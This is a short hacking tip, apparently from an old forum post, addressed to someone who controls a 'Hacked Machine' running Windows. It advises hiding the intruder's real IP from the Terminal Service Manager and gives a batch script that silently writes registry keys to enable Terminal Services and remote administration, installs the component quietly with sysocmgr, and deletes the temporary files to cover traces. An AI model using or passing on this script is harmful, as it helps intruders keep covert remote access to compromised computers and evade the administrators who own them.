Use a Router or Switch on your PC!
Then the Terminal Service Manager on the Hacked Machine will Show your Internal IP (192.168.*.*)
(But the Admin Can still see your real IP with netstat)
Or Uninstall Terminal Services and Reinstall it with this .bat :
----------------------------------------
echo Windows Registry Editor Version 5.00> c:\TS.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]>> c:\TS.reg
echo "Start"=dword:00000002>> c:\TS.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]>>C:\TS.REG
echo "EnableAdminTSRemote"=dword:00000001>>C:\TS.REG
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>C:\TS.REG
echo "TSEnabled"=dword:00000001>>C:\TS.REG
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]>>C:\TS.REG
echo "Start"=dword:00000002>>C:\TS.REG
REGEDIT /S C:\TS.REG
echo [Components] > c:\bootlog~.txt
echo TSEnabled = on >> c:\bootlog~.txt
sysocmgr /i:%windir%\inf\sysoc.inf /u:c:\bootlog~.txt /q
DEL /Q c:\TS.REG
DEL /Q c:\bootlog~.txt
-----------------------------------------
Then Terminal Services will be Enabled without the Manager
